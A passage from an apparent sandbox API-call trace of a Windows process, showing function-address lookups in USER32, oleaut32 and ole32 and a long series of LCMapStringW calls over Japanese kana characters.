lParam=0xbcb38f4800) returned 0x0 [0066.535] NtdllDefWindowProc_A (hWnd=0x6003e, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0066.535] NtdllDefWindowProc_A (hWnd=0x6003e, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0066.535] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba00000179) returned 1 [0066.535] SetThreadDpiAwarenessContext () returned 0x11 [0066.535] GetVersionExA (in: lpVersionInformation=0xbcb38f4cd0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xbcb38f4cd0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0066.535] GetModuleHandleA (lpModuleName="USER32") returned 0x7ff9e5f30000 [0066.536] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="GetSystemMetrics") returned 0x7ff9e5f3f150 [0066.536] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="MonitorFromWindow") returned 0x7ff9e5f38a40 [0066.537] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="MonitorFromRect") returned 0x7ff9e5f37990 [0066.537] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="MonitorFromPoint") returned 0x7ff9e5f36c10 [0066.538] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="EnumDisplayMonitors") returned 0x7ff9e5f639e0 [0066.538] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="GetMonitorInfoA") returned 0x7ff9e5f37e90 [0066.539] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="EnumDisplayDevicesA") returned 0x7ff9e5f51b50 [0066.539] MonitorFromWindow (hwnd=0x6003e, dwFlags=0x2) returned 0x10001 [0066.539] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0xbcb38f4ee0 | out: lpmi=0xbcb38f4ee0) returned 1 [0066.539] SetWindowPos (hWnd=0x6003e, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0066.539] NtdllDefWindowProc_A (hWnd=0x6003e, Msg=0x46, wParam=0x0, lParam=0xbcb38f4e40) returned 0x0 [0066.540] NtdllDefWindowProc_A (hWnd=0x6003e, Msg=0x47, wParam=0x0, lParam=0xbcb38f4e40) returned 0x0 [0066.540] NtdllDefWindowProc_A (hWnd=0x6003e, Msg=0x3, wParam=0x0, lParam=0x1c202d0) returned 0x0 [0066.540] GetWindowThreadProcessId (in: hWnd=0x6003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x12d4 [0066.540] GetVersion () returned 0x3ad7000a [0066.541] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x7ff9e8160000 [0066.541] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="DispCallFunc") returned 0x7ff9e8168de0 [0066.541] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="LoadTypeLibEx") returned 0x7ff9e81703c0 [0066.542] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="UnRegisterTypeLib") returned 0x7ff9e8194020 [0066.542] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="CreateTypeLib2") returned 0x7ff9e817b880 [0066.543] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDateFromUdate") returned 0x7ff9e8171f50 [0066.543] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarUdateFromDate") returned 0x7ff9e816f5c0 [0066.543] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="GetAltMonthNames") returned 0x7ff9e81bbd10 [0066.544] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarNumFromParseNum") returned 0x7ff9e816efd0 [0066.544] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarParseNumFromStr") returned 0x7ff9e816df60 [0066.544] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecFromR4") returned 0x7ff9e8162190 [0066.545] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecFromR8") returned 0x7ff9e8161eb0 [0066.545] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecFromDate") returned 0x7ff9e81c1f60 [0066.545] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecFromI4") returned 0x7ff9e8161b80 [0066.546] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecFromCy") returned 0x7ff9e81c1f30 [0066.546] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarR4FromDec") returned 0x7ff9e81c23b0 [0066.547] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x7ff9e81c07c0 [0066.547] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="GetRecordInfoFromGuids") returned 0x7ff9e81c0650 [0066.547] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArrayGetRecordInfo") returned 0x7ff9e81c19e0 [0066.548] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArraySetRecordInfo") returned 0x7ff9e81c1a50 [0066.548] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArrayGetIID") returned 0x7ff9e81c19b0 [0066.549] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArraySetIID") returned 0x7ff9e8163700 [0066.549] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArrayCopyData") returned 0x7ff9e81626b0 [0066.549] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x7ff9e8162c30 [0066.550] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArrayCreateEx") returned 0x7ff9e81c1870 [0066.550] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarFormat") returned 0x7ff9e81c6540 [0066.551] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarFormatDateTime") returned 0x7ff9e81c6750 [0066.551] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarFormatNumber") returned 0x7ff9e81c67d0 [0066.552] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarFormatPercent") returned 0x7ff9e81c68e0 [0066.552] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarFormatCurrency") returned 0x7ff9e81c6630 [0066.552] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarWeekdayName") returned 0x7ff9e81c6d20 [0066.553] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarMonthName") returned 0x7ff9e81c69d0 [0066.553] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarAdd") returned 0x7ff9e81b2760 [0066.553] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarAnd") returned 0x7ff9e81b5000 [0066.554] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarCat") returned 0x7ff9e81b3150 [0066.554] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDiv") returned 0x7ff9e81b32a0 [0066.555] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarEqv") returned 0x7ff9e81b5190 [0066.555] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarIdiv") returned 0x7ff9e81b51c0 [0066.555] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarImp") returned 0x7ff9e81b5380 [0066.556] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarMod") returned 0x7ff9e81b5470 [0066.556] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarMul") returned 0x7ff9e81b3930 [0066.557] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarOr") returned 0x7ff9e81b5690 [0066.557] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarPow") returned 0x7ff9e81b4220 [0066.557] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarSub") returned 0x7ff9e81b4450 [0066.558] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarXor") returned 0x7ff9e81b5830 [0066.558] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarAbs") returned 0x7ff9e81b1950 [0066.558] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarFix") returned 0x7ff9e81b1c40 [0066.559] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarInt") returned 0x7ff9e81b1e40 [0066.559] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarNeg") returned 0x7ff9e81b2020 [0066.560] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarNot") returned 0x7ff9e81b55f0 [0066.560] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarRound") returned 0x7ff9e81b23b0 [0066.560] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarCmp") returned 0x7ff9e8176710 [0066.561] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecAdd") returned 0x7ff9e81b64d0 [0066.561] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecCmp") returned 0x7ff9e8161390 [0066.561] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarBstrCat") returned 0x7ff9e81774a0 [0066.562] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarCyMulI4") returned 0x7ff9e8161560 [0066.562] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarBstrCmp") returned 0x7ff9e8176bd0 [0066.563] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7ff9e6400000 [0066.564] GetProcAddress (hModule=0x7ff9e6400000, lpProcName="CoCreateInstanceEx") returned 0x7ff9e7d06770 [0066.565] GetProcAddress (hModule=0x7ff9e6400000, lpProcName="CLSIDFromProgIDEx") returned 0x7ff9e7cf4b70 [0066.565] GetSystemMetrics (nIndex=42) returned 0 [0066.565] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x7ff9bdf2c220 | out: ppMalloc=0x7ff9bdf2c220*=0x7ff9e7edf3f0) returned 0x0 [0066.565] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885cfd5a90 [0066.565] GetUserDefaultLCID () returned 0x411 [0066.565] GetUserDefaultLCID () returned 0x411 [0066.566] IsValidCodePage (CodePage=0x3a4) returned 1 [0066.566] IsValidCodePage (CodePage=0x3b5) returned 1 [0066.567] IsValidCodePage (CodePage=0x3b6) returned 1 [0066.567] IsValidCodePage (CodePage=0x3a8) returned 1 [0066.567] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="぀", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.569] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぁ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.569] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="あ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.569] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぃ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.569] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="い", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.569] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぅ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.569] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="う", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.569] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぇ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.569] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="え", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.569] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぉ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.569] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="お", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.569] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="か", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.569] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="が", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="き", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぎ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="く", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぐ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="け", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="げ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="こ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ご", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="さ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ざ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="し", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="じ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="す", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ず", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="せ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぜ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="そ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぞ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="た", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="だ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.571] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ち", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぢ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="っ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="つ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="づ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="て", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="で", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="と", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ど", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="な", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="に", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぬ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ね", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="の", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="は", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ば", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぱ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ひ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="び", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぴ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ふ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぶ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぷ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="へ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="べ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぺ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ほ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぼ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぽ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ま", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="み", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="む", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="め", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.572] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="も", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゃ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="や", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゅ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゆ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ょ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="よ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ら", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="り", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="る", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="れ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ろ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゎ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="わ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゐ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゑ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="を", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ん", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゔ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゕ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゖ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゗", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゘", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゙", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゚", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゛", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゜", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゝ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゞ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゟ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゠", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ァ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ア", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ィ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.573] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="イ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゥ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ウ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ェ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] 